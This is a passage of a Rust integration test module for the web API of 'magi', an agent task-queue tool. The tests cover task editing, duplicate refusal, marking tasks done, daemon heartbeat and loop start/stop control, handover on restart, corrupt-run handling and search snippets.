15749            assert_eq!(saved.runs, t.runs);
15750            assert_eq!(saved.instruction, t.instruction);
15751        }
15752        for count in [0, 4] {
15753            assert_eq!(
15754                change(count).await.err().unwrap().status,
15755                StatusCode::BAD_REQUEST
15756            );
15757        }
15758        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
15759        let claim = q.claim(&t.id).unwrap();
15760        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
15761        drop(claim);
15762        for status in [
15763            TaskStatus::Running,
15764            TaskStatus::Done,
15765            TaskStatus::Failed,
15766            TaskStatus::Blocked,
15767            TaskStatus::Parked,
15768        ] {
15769            let mut stored = q.get(&t.id).unwrap();
15770            stored.status = status;
15771            q.put(&mut stored).unwrap();
15772            assert_eq!(
15773                change(1).await.err().unwrap().status,
15774                StatusCode::BAD_REQUEST
15775            );
15776            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
15777        }
15778    }
15779
15780    #[tokio::test]
15781    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
15782        let f = Fixture::start().await;
15783        let queue = f.queue();
15784        let mut task = Task::new(
15785            "in flight".to_owned(),
15786            "x".to_owned(),
15787            PathBuf::from("/repo/magi"),
15788            Source::Human,
15789        );
15790        task.start("20260902-140502-bbbb".to_owned());
15791        queue.put(&mut task).expect("file the task");
15792
15793        let res = f
15794            .post(
15795                &format!("/api/queue/{}/priority", task.id),
15796                Some(r#"{"priority":9}"#),
15797            )
15798            .await;
15799        assert_eq!(res.status, 400, "{}", res.body);
15800        assert!(
15801            res.json()["error"]
15802                .as_str()
15803                .is_some_and(|e| e.contains("running")),
15804            "{}",
15805            res.body
15806        );
15807        assert_eq!(
15808            queue.get(&task.id).expect("reload").priority,
15809            0,
15810            "the refused write must not partially apply"
15811        );
15812    }
15813
15814    #[tokio::test]
15815    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
15816        let f = Fixture::start().await;
15817        let queue = f.queue();
15818        let mut task = Task::new(
15819            "old title".to_owned(),
15820            "old instruction".to_owned(),
15821            PathBuf::from("/repo/magi"),
15822            Source::Agent {
15823                run: "20260101-000000-beef".to_owned(),
15824                node: "implement".to_owned(),
15825            },
15826        );
15827        task.runs.push("20260101-000000-beef".to_owned());
15828        queue.put(&mut task).expect("file the task");
15829        let created_at = task.created_at;
15830
15831        let edited = f
15832            .post(
15833                &format!("/api/queue/{}/edit", task.id),
15834                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
15835            )
15836            .await;
15837        assert_eq!(edited.status, 200, "{}", edited.body);
15838        let body = edited.json();
15839        assert_eq!(body["title"], "new title");
15840        assert_eq!(body["instruction"], "new instruction");
15841        assert_eq!(body["id"], task.id, "editing must not mint a new id");
15842        assert_eq!(body["created_at"], created_at.to_string());
15843        assert_eq!(
15844            body["source"]["kind"], "agent",
15845            "editing a task an agent filed must not turn it human: {body}"
15846        );
15847        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
15848
15849        let reloaded = queue.get(&task.id).expect("reload");
15850        assert_eq!(reloaded.title, "new title");
15851        assert_eq!(reloaded.instruction, "new instruction");
15852    }
15853
15854    #[tokio::test]
15855    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
15856        // The judge is an agent now: a repo whose only agent answers
15857        // "duplicate" stands in for it, so the refusal is the judge's.
15858        let tmp = TempDir::new().expect("tempdir");
15859        let repo = tmp.path().join("repo");
15860        std::fs::create_dir_all(&repo).expect("repo dir");
15861        let judge = MOCK_AGENT_TOML.replace(
15862            "printf ok",
15863            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
15864        );
15865        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
15866        let f = Fixture::with_repo(repo.clone()).await;
15867        let queue = f.queue();
15868        let mut owner = Task::new(
15869            "owner".to_owned(),
15870            "review it".to_owned(),
15871            repo.clone(),
15872            Source::Human,
15873        );
15874        owner.review_branch = Some("magi/ab12/A".to_owned());
15875        queue.put(&mut owner).expect("file the owner");
15876        let mut task = Task::new(
15877            "draft".to_owned(),
15878            "old".to_owned(),
15879            repo.clone(),
15880            Source::Human,
15881        );
15882        queue.put(&mut task).expect("file the draft");
15883        let url = format!("/api/queue/{}/edit", task.id);
15884
15885        let refused = f
15886            .post(
15887                &url,
15888                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
15889            )
15890            .await;
15891        assert_eq!(refused.status, 409, "{}", refused.body);
15892        let msg = refused.json()["error"]
15893            .as_str()
15894            .unwrap_or_default()
15895            .to_owned();
15896        assert!(
15897            msg.contains("magi/ab12/A") && msg.contains("force"),
15898            "{msg}"
15899        );
15900        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
15901
15902        let forced = f
15903            .post(
15904                &url,
15905                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
15906            )
15907            .await;
15908        assert_eq!(forced.status, 200, "{}", forced.body);
15909    }
15910
15911    #[tokio::test]
15912    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
15913        let f = Fixture::start().await;
15914        let queue = f.queue();
15915        let mut task = Task::new(
15916            "in flight".to_owned(),
15917            "do not touch".to_owned(),
15918            PathBuf::from("/repo/magi"),
15919            Source::Human,
15920        );
15921        task.start("20260902-140502-bbbb".to_owned());
15922        queue.put(&mut task).expect("file the task");
15923
15924        let res = f
15925            .post(
15926                &format!("/api/queue/{}/edit", task.id),
15927                Some(r#"{"title":"x","instruction":"y"}"#),
15928            )
15929            .await;
15930        assert_eq!(res.status, 400, "{}", res.body);
15931        assert!(
15932            res.json()["error"]
15933                .as_str()
15934                .is_some_and(|e| e.contains("running")),
15935            "{}",
15936            res.body
15937        );
15938        assert_eq!(
15939            queue.get(&task.id).expect("reload").instruction,
15940            "do not touch",
15941            "the refused edit must not change the file"
15942        );
15943    }
15944
15945    #[tokio::test]
15946    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
15947        let f = Fixture::start().await;
15948        let queue = f.queue();
15949        let mut task = Task::new(
15950            "busy".to_owned(),
15951            "Running right now".to_owned(),
15952            PathBuf::from("/repo/magi"),
15953            Source::Human,
15954        );
15955        queue.put(&mut task).expect("file the task");
15956        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
15957
15958        let priority = f
15959            .post(
15960                &format!("/api/queue/{}/priority", task.id),
15961                Some(r#"{"priority":9}"#),
15962            )
15963            .await;
15964        assert_eq!(priority.status, 409, "{}", priority.body);
15965
15966        let edit = f
15967            .post(
15968                &format!("/api/queue/{}/edit", task.id),
15969                Some(r#"{"title":"x","instruction":"y"}"#),
15970            )
15971            .await;
15972        assert_eq!(edit.status, 409, "{}", edit.body);
15973    }
15974
15975    #[tokio::test]
15976    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
15977        let f = Fixture::start().await;
15978        let queue = f.queue();
15979        let mut task = Task::new(
15980            "shipped by hand".to_owned(),
15981            "merged outside the loop".to_owned(),
15982            PathBuf::from("/repo/magi"),
15983            Source::Agent {
15984                run: "20260101-000000-b455".to_owned(),
15985                node: "implement".to_owned(),
15986            },
15987        );
15988        task.runs.push("20260101-000000-b455".to_owned());
15989        task.runs.push("20260101-000000-9af4".to_owned());
15990        queue.put(&mut task).expect("file the task");
15991        let created_at = task.created_at;
15992
15993        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15994        assert_eq!(done.status, 200, "{}", done.body);
15995        assert_eq!(done.json()["status_str"], "done");
15996
15997        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
15998        assert_eq!(
15999            reloaded.runs,
16000            ["20260101-000000-b455", "20260101-000000-9af4"]
16001        );
16002        assert_eq!(
16003            reloaded.source,
16004            Source::Agent {
16005                run: "20260101-000000-b455".to_owned(),
16006                node: "implement".to_owned(),
16007            }
16008        );
16009        assert_eq!(reloaded.created_at, created_at);
16010    }
16011
16012    #[tokio::test]
16013    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
16014        // `done` is allowed on any status, including `held`, with no release
16015        // in between - so a task held for a reason and then closed directly
16016        // must not keep reading as "waiting on" it afterwards, on its card or
16017        // in `magi task show`.
16018        let f = Fixture::start().await;
16019        let queue = f.queue();
16020        let mut task = Task::new(
16021            "landed while held".to_owned(),
16022            "x".to_owned(),
16023            PathBuf::from("/repo/magi"),
16024            Source::Human,
16025        );
16026        task.hold_manual(Some("waiting on 3ed9".to_owned()));
16027        queue.put(&mut task).expect("file the held task");
16028
16029        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16030        assert_eq!(done.status, 200, "{}", done.body);
16031        assert_eq!(done.json()["status_str"], "done");
16032        assert!(
16033            done.json()["hold_reason"].is_null(),
16034            "a done task cannot still be waiting on something: {}",
16035            done.body
16036        );
16037    }
16038
16039    #[tokio::test]
16040    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
16041        // `queue_done` is the phone's way to close a task the loop never
16042        // settled itself - after confirming a manual GitHub merge, say - and
16043        // that is just as much "this task's story is over" as the loop's own
16044        // `Merged`/`Ready` path, so it must trigger the same cleanup.
16045        let f = Fixture::start().await;
16046        let queue = f.queue();
16047        let runs = f.runs();
16048        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
16049        // The last attempt has to have actually landed for the earlier one
16050        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
16051        // for the case where it didn't.
16052        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
16053
16054        let mut task = Task::new(
16055            "landed by hand".to_owned(),
16056            "x".to_owned(),
16057            PathBuf::from("/repo/magi"),
16058            Source::Human,
16059        );
16060        task.runs.push("20260101-000000-doa1".to_owned());
16061        task.runs.push("20260101-000000-doa2".to_owned());
16062        queue.put(&mut task).expect("file the task");
16063
16064        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16065        assert_eq!(done.status, 200, "{}", done.body);
16066
16067        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
16068            .expect("run still on disk under this fixture's own home");
16069        assert_eq!(
16070            reloaded_run.status,
16071            RunStatus::Superseded,
16072            "closing the task by hand must relabel the earlier blocked attempt exactly \
16073             like the loop's own settle path does"
16074        );
16075    }
16076
16077    #[tokio::test]
16078    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
16079        // Closing a task by hand is allowed from any status, including one
16080        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
16081        // manual merge the loop never watched, say. Nothing here is provably
16082        // why the task is done, so nothing earlier gets relabelled either.
16083        let f = Fixture::start().await;
16084        let queue = f.queue();
16085        let runs = f.runs();
16086        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
16087        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
16088
16089        let mut task = Task::new(
16090            "closed with nothing actually landed".to_owned(),
16091            "x".to_owned(),
16092            PathBuf::from("/repo/magi"),
16093            Source::Human,
16094        );
16095        task.runs.push("20260101-000000-dob1".to_owned());
16096        task.runs.push("20260101-000000-dob2".to_owned());
16097        queue.put(&mut task).expect("file the task");
16098
16099        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16100        assert_eq!(done.status, 200, "{}", done.body);
16101
16102        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
16103            .expect("run still on disk under this fixture's own home");
16104        assert_eq!(
16105            reloaded_run.status,
16106            RunStatus::Blocked,
16107            "the last recorded attempt never landed, so the earlier one must not be \
16108             relabelled as superseded by it"
16109        );
16110    }
16111
16112    #[tokio::test]
16113    async fn unknown_ids_are_json_not_found_on_both_stores() {
16114        let f = Fixture::start().await;
16115
16116        let run = f.get("/api/runs/nosuchrun").await;
16117        let task = f.post("/api/queue/nosuchtask/hold", None).await;
16118
16119        assert_eq!(run.status, 404);
16120        assert_eq!(task.status, 404);
16121        assert!(
16122            run.json()["error"]
16123                .as_str()
16124                .is_some_and(|e| e.contains("run")),
16125            "the error names what was not found: {}",
16126            run.body
16127        );
16128        assert!(
16129            task.json()["error"]
16130                .as_str()
16131                .is_some_and(|e| e.contains("task")),
16132            "the error names what was not found: {}",
16133            task.body
16134        );
16135    }
16136
16137    #[tokio::test]
16138    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
16139        let f = Fixture::start().await;
16140
16141        let missing = f.get("/api/health").await.json();
16142        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
16143
16144        write_daemon(
16145            f.home.path(),
16146            Timestamp::now() - jiff::SignedDuration::from_secs(60),
16147        );
16148        let stale = f.get("/api/health").await.json();
16149        assert_eq!(
16150            stale["daemon"]["running"], false,
16151            "a minute without a heartbeat is a dead daemon, not a busy one"
16152        );
16153        assert!(
16154            stale["daemon"]["stale_for_secs"]
16155                .as_i64()
16156                .is_some_and(|s| s >= 55),
16157            "staleness is reported so the UI can say how long: {stale}"
16158        );
16159
16160        write_daemon(f.home.path(), Timestamp::now());
16161        let fresh = f.get("/api/health").await.json();
16162        assert_eq!(fresh["daemon"]["running"], true);
16163        assert_eq!(fresh["daemon"]["idle"], false);
16164        assert_eq!(fresh["daemon"]["pid"], 4242);
16165        assert_eq!(fresh["daemon"]["completed"], 7);
16166        assert_eq!(
16167            fresh["daemon"]["current"][0]["task"],
16168            "20260902-140501-aaaa"
16169        );
16170        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
16171    }
16172
16173    #[tokio::test]
16174    async fn the_loop_is_not_running_until_something_starts_it() {
16175        let f = Fixture::start().await;
16176
16177        let view = f.get("/api/loop").await.json();
16178        assert_eq!(view["running"], false);
16179        assert_eq!(
16180            view["owned"], false,
16181            "nobody owns a loop that does not exist: {view}"
16182        );
16183        assert_eq!(view["stopping"], false);
16184        assert_eq!(view["last_error"], Value::Null);
16185        assert_eq!(view["daemon"]["running"], false);
16186        assert_eq!(
16187            view["repo"], "/repo/magi",
16188            "the repository a start would use, named before it is started"
16189        );
16190    }
16191
16192    #[tokio::test]
16193    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
16194        let f = Fixture::start().await;
16195
16196        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16197        assert_eq!(res.status, 200, "{}", res.body);
16198        let view = res.json();
16199        assert_eq!(view["running"], true);
16200        assert_eq!(
16201            view["owned"], true,
16202            "the loop the UI started is the UI's own to stop: {view}"
16203        );
16204        assert_eq!(
16205            view["merge"],
16206            Value::Null,
16207            "no override was given, so each repository's own config decides"
16208        );
16209
16210        // The same object from the route a waking phone polls first. Two
16211        // surfaces disagreeing about whether anything is running is exactly
16212        // the confusion this UI exists to remove.
16213        let health = f.get("/api/health").await.json();
16214        assert_eq!(health["loop"]["running"], true, "{health}");
16215        assert_eq!(health["loop"]["owned"], true, "{health}");
16216
16217        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16218    }
16219
16220    #[tokio::test]
16221    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
16222        let f = Fixture::start().await;
16223        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16224        assert_eq!(first.status, 200, "{}", first.body);
16225
16226        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16227        assert_eq!(
16228            again.status, 409,
16229            "two loops on one queue race for the same claims: {}",
16230            again.body
16231        );
16232        assert!(
16233            again.json()["error"]
16234                .as_str()
16235                .is_some_and(|e| e.contains("already running the loop")),
16236            "the refusal has to say why: {}",
16237            again.body
16238        );
16239        assert_eq!(
16240            f.get("/api/loop").await.json()["running"],
16241            true,
16242            "and the loop that was already running is untouched by it"
16243        );
16244
16245        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16246    }
16247
16248    #[tokio::test]
16249    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
16250        let f = Fixture::start().await;
16251        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16252
16253        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16254        assert_eq!(
16255            res.status, 200,
16256            "the answer must not wait for the loop: a run in flight is tens of \
16257             minutes and the operator is holding a phone: {}",
16258            res.body
16259        );
16260
16261        let view = settled(&f, |v| v["running"] == false).await;
16262        assert_eq!(view["owned"], false);
16263        assert_eq!(
16264            view["stopping"], false,
16265            "a loop that has stopped is not still stopping: {view}"
16266        );
16267        assert_eq!(
16268            view["last_error"],
16269            Value::Null,
16270            "a loop that was asked to stop did not fail: {view}"
16271        );
16272
16273        // Idempotent, because the operator cannot tell a slow stop from a lost
16274        // one and will press it again.
16275        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16276        assert_eq!(twice.status, 200, "{}", twice.body);
16277    }
16278
16279    #[tokio::test]
16280    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
16281        let f = Fixture::start().await;
16282        // How the operator has been doing it: a `magi serve` of their own,
16283        // heartbeat fresh, in the same home this UI reads.
16284        write_daemon(f.home.path(), Timestamp::now());
16285
16286        let view = f.get("/api/loop").await.json();
16287        assert_eq!(view["running"], false, "not in this process: {view}");
16288        assert_eq!(view["owned"], false, "and not this process's to control");
16289        assert_eq!(
16290            view["daemon"]["running"], true,
16291            "but a loop is alive somewhere, which is what the UI must say"
16292        );
16293        assert_eq!(view["daemon"]["pid"], 4242);
16294
16295        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
16296            let res = f.post("/api/loop", Some(body)).await;
16297            assert_eq!(
16298                res.status, 409,
16299                "neither button may pretend to work on someone else's loop: {}",
16300                res.body
16301            );
16302            assert!(
16303                res.json()["error"]
16304                    .as_str()
16305                    .is_some_and(|e| e.contains("4242")),
16306                "the refusal has to name the process the operator must go to: {}",
16307                res.body
16308            );
16309        }
16310        assert_eq!(
16311            f.get("/api/loop").await.json()["running"],
16312            false,
16313            "and the refusal started nothing"
16314        );
16315    }
16316
16317    #[tokio::test]
16318    async fn a_stale_status_file_is_not_a_foreign_owner() {
16319        let f = Fixture::start().await;
16320        write_daemon(
16321            f.home.path(),
16322            Timestamp::now() - jiff::SignedDuration::from_secs(60),
16323        );
16324
16325        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16326        assert_eq!(
16327            res.status, 200,
16328            "a daemon killed a minute ago must not lock the loop out of its \
16329             own home for good: {}",
16330            res.body
16331        );
16332        assert_eq!(res.json()["running"], true);
16333
16334        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16335    }
16336
16337    #[tokio::test]
16338    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
16339        let f = Fixture::start().await;
16340        let before = f.get("/api/health").await.json()["loop_rev"]
16341            .as_u64()
16342            .expect("a loop revision");
16343
16344        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16345
16346        let after = f.get("/api/health").await.json()["loop_rev"]
16347            .as_u64()
16348            .expect("a loop revision");
16349        assert!(
16350            after > before,
16351            "the loop is in-process state, so this counter is the only thing \
16352             that tells a second device the first one started it: {before} -> \
16353             {after}"
16354        );
16355
16356        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16357    }
16358
16359    #[tokio::test]
16360    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
16361        let f = Fixture::with_loop(launch_broken).await;
16362
16363        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16364        assert_eq!(
16365            res.status, 200,
16366            "starting it is not the failure: {}",
16367            res.body
16368        );
16369
16370        let view = settled(&f, |v| v["last_error"].is_string()).await;
16371        assert_eq!(
16372            view["running"], false,
16373            "a loop that died must not read as running, or the operator has \
16374             nothing to press: {view}"
16375        );
16376        assert_eq!(view["owned"], false);
16377        assert!(
16378            view["last_error"]
16379                .as_str()
16380                .is_some_and(|e| e.contains("read-only file system")),
16381            "the phone is where a loop that died at 3am is visible: {view}"
16382        );
16383
16384        // And it can be started again: the corpse was reaped, not left to
16385        // occupy the slot.
16386        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16387        assert_eq!(again.status, 200, "{}", again.body);
16388        assert!(
16389            again.json()["last_error"]
16390                .as_str()
16391                .is_none_or(|e| !e.contains("read-only file system")),
16392            "a fresh start does not keep showing why the last one died: {}",
16393            again.body
16394        );
16395    }
16396
16397    /// An upgrade parks the run in flight before it restarts, and a park waits
16398    /// for the node - up to `timeout_implement`, an hour by default. The deck
16399    /// has to answer for all of it: the operator has just been told a run is
16400    /// finishing first, and this address is the only place that says how it is
16401    /// going. It did not, once - the listener went with the `select!` arm that
16402    /// began the handover, and the phone got `Cannot reach magi: Failed to
16403    /// fetch` for the rest of the wave.
16404    ///
16405    /// The other half is the older rule: the address must be free *before* the
16406    /// successor is started, or it dies on "address already in use" with its
16407    /// stdio sent to null and the deck never comes back.
16408    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
16409    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
16410        let home = TempDir::new().expect("temp home");
16411        let runs = home.path().join("runs");
16412        std::fs::create_dir_all(&runs).expect("runs dir");
16413        let ui = Ui::new(
16414            Queue::at(home.path().join("queue")),
16415            Questions::at(home.path().join("questions")),
16416            Talks::at(home.path().join("talks")),
16417            runs,
16418            home.path().to_path_buf(),
16419            PathBuf::from("/repo/magi"),
16420        )
16421        .with_worktrees_root(home.path().join("wt"))
16422        .with_launch(launch_knocking_on_the_way_out);
16423        let looping = ui.looping();
16424        let turns = ui.turns();
16425        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
16426            .await
16427            .expect("bind loopback");
16428        let addr = listener.local_addr().expect("local addr");
16429        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
16430        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
16431
16432        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
16433        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
16434
16435        // The successor's whole job, and the one thing it cannot do while this
16436        // process still holds the socket.
16437        //
16438        // One bind is not enough, and the reason is not this process's order of
16439        // operations: aborting the accept loop drops the listener, but axum
16440        // serves each accepted connection on a task of its own, and those are
16441        // not aborted. The requests above left sockets on this very address,
16442        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
16443        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
16444        // Production absorbs that in `bind_waiting`; so does this. Only
16445        // `AddrInUse` is retried, and the listener is released before the
16446        // closure returns - were the order wrong, the listener would outlive
16447        // the closure and every attempt would fail. Inferred from the bind
16448        // rules and the code; not reproduced on macOS.
16449        let bound = std::sync::Mutex::new(None);
16450        hand_over(
16451            home.path(),
16452            &looping,
16453            &turns,
16454            &|_: &[String]| Duration::from_secs(5),
16455            served,
16456            |_| {
16457                let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
16458                let attempt = loop {
16459                    match std::net::TcpListener::bind(addr) {
16460                        Ok(l) => {
16461                            drop(l);
16462                            break Ok(());
16463                        }
16464                        Err(e)
16465                            if e.kind() == std::io::ErrorKind::AddrInUse
16466                                && std::time::Instant::now() < deadline =>
16467                        {
16468                            std::thread::sleep(std::time::Duration::from_millis(10));
16469                        }
16470                        Err(e) => break Err(e.to_string()),
16471                    }
16472                };
16473                *bound.lock().expect("bound") = Some(attempt);
16474                Ok(1)
16475            },
16476        )
16477        .await
16478        .expect("hand over");
16479
16480        assert_eq!(
16481            *PARK_HEARD.lock().expect("park heard"),
16482            Some(200),
16483            "the deck must answer while the loop is parking"
16484        );
16485        let attempt = bound
16486            .lock()
16487            .expect("bound")
16488            .take()
16489            .expect("the successor was started");
16490        assert!(
16491            attempt.is_ok(),
16492            "and the address must be free by the time it is: {attempt:?}"
16493        );
16494    }
16495
16496    #[tokio::test]
16497    async fn a_newer_daemon_status_file_still_renders() {
16498        let f = Fixture::start().await;
16499        // A field this build has never heard of must not turn the status line
16500        // into a 500; that is the whole reason the reader is permissive.
16501        std::fs::write(
16502            f.home.path().join("daemon.json"),
16503            serde_json::json!({
16504                "schema": 2,
16505                "updated_at": Timestamp::now().to_string(),
16506                "idle": true,
16507                "surprise": { "nested": [1, 2, 3] },
16508            })
16509            .to_string(),
16510        )
16511        .expect("write daemon.json");
16512
16513        let health = f.get("/api/health").await;
16514
16515        assert_eq!(health.status, 200);
16516        assert_eq!(health.json()["daemon"]["running"], true);
16517    }
16518
16519    #[tokio::test]
16520    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
16521        let f = Fixture::start().await;
16522        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
16523        let broken = f.runs().join("20260902-140502-bad");
16524        std::fs::create_dir_all(&broken).expect("run dir");
16525        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
16526
16527        let list = f.get("/api/runs").await;
16528        let detail = f.get("/api/runs/20260902-140502-bad").await;
16529
16530        assert_eq!(list.status, 200);
16531        let listed = list.json();
16532        let ids: Vec<&str> = listed
16533            .as_array()
16534            .expect("an array")
16535            .iter()
16536            .map(|r| r["id"].as_str().expect("an id"))
16537            .collect();
16538        assert_eq!(
16539            ids,
16540            vec!["20260902-140501-good"],
16541            "one unreadable run must not cost the operator the whole history"
16542        );
16543        assert_eq!(detail.status, 500);
16544        assert!(
16545            detail.json()["error"]
16546                .as_str()
16547                .is_some_and(|e| e.contains("run.json")),
16548            "the failure names the file to look at: {}",
16549            detail.body
16550        );
16551        // A skipped run has to be countable somewhere, or the UI shows an
16552        // empty history with nothing to explain it - which is exactly what a
16553        // directory full of older-schema runs looks like.
16554        let health = f.get("/api/health").await;
16555        assert_eq!(health.json()["runs_unreadable"], 1);
16556    }
16557
16558    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
16559    #[tokio::test]
16560    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
16561        let f = Fixture::start().await;
16562        let runs = f.runs();
16563        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
16564        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
16565        // Text three levels down, in a shape no current RunState has: an older
16566        // schema must still search.
16567        let path = runs.join("20260902-140502-bbbb").join("run.json");
16568        let mut v: serde_json::Value =
16569            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
16570        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
16571        std::fs::write(&path, v.to_string()).unwrap();
16572        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
16573        std::fs::write(
16574            runs.join("20260902-140503-cccc").join("run.json"),
16575            "{ not json",
16576        )
16577        .unwrap();
16578
16579        let res = f.get("/api/search?scope=runs&q=quokka").await;
16580        assert_eq!(res.status, 200, "{}", res.body);
16581        let v = res.json();
16582        assert_eq!(v["total"], 1, "{v}");
16583        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
16584        assert_eq!(v["hits"][0]["field"], "text");
16585        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
16586        let parts = v["hits"][0]["snippet"].as_array().unwrap();
16587        assert!(
16588            parts
16589                .iter()
16590                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
16591            "{v}"
16592        );
16593        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
16594        assert_eq!(
16595            flat, "The Quokka leaks across threads",
16596            "whitespace is collapsed"
16597        );
16598
16599        // Terms are ANDed, across different fields, case-insensitively.
16600        let both = f
16601            .get("/api/search?scope=runs&q=MOBILE%20quokka")
16602            .await
16603            .json();
16604        assert_eq!(both["total"], 1, "{both}");
16605        let neither = f
16606            .get("/api/search?scope=runs&q=quokka%20zebra")
16607            .await
16608            .json();
16609        assert_eq!(neither["total"], 0, "{neither}");
16610        // Everything in the task statement is reachable, not only the row text.
16611        let stmt = f
16612            .get("/api/search?scope=runs&q=mobile%20first")
16613            .await
16614            .json();
16615        assert_eq!(stmt["total"], 2, "{stmt}");
16616        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
16617        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
16618    }
16619
16620    #[test]
16621    fn snippet_ignores_terms_longer_than_the_field() {
16622        let terms = ["ok".to_owned(), "elephant".to_owned()];
16623        let parts = snippet_of("ok", &terms);
16624        assert_eq!(
16625            parts,
16626            vec![SnippetPart {
16627                text: "ok".to_owned(),
16628                hit: true
16629            }]
16630        );
16631    }
16632
16633    #[test]
16634    fn snippet_marks_matches_longer_than_the_window() {
16635        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
16636        let hit_len = |parts: &[SnippetPart]| -> usize {
16637            parts
16638                .iter()
16639                .filter(|p| p.hit)
16640                .map(|p| p.text.chars().count())
16641                .sum()
16642        };
16643        let total =
16644            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
16645
16646        let long = "a".repeat(120);
16647        let parts = snippet_of(&long, std::slice::from_ref(&long));
16648        assert!(hit_len(&parts) > 0, "{parts:?}");
16649        assert!(total(&parts) <= cap);
16650
16651        let ja = "あ".repeat(130);
16652        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
16653        assert!(hit_len(&parts) > 0, "{parts:?}");
16654        assert!(total(&parts) <= cap);
16655
16656        // A short hit, then one straddling the window's end.
16657        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
16658        let term = format!("ab{}", "c".repeat(100));
16659        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
16660        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
16661        assert!(total(&parts) <= cap);
16662
16663        // Only the head matches: not highlighted.
16664        let text = format!("{}z", "a".repeat(119));
16665        let parts = snippet_of(&text, &["a".repeat(120)]);
16666        assert_eq!(hit_len(&parts), 0, "{parts:?}");
16667    }
16668
16669    #[tokio::test]
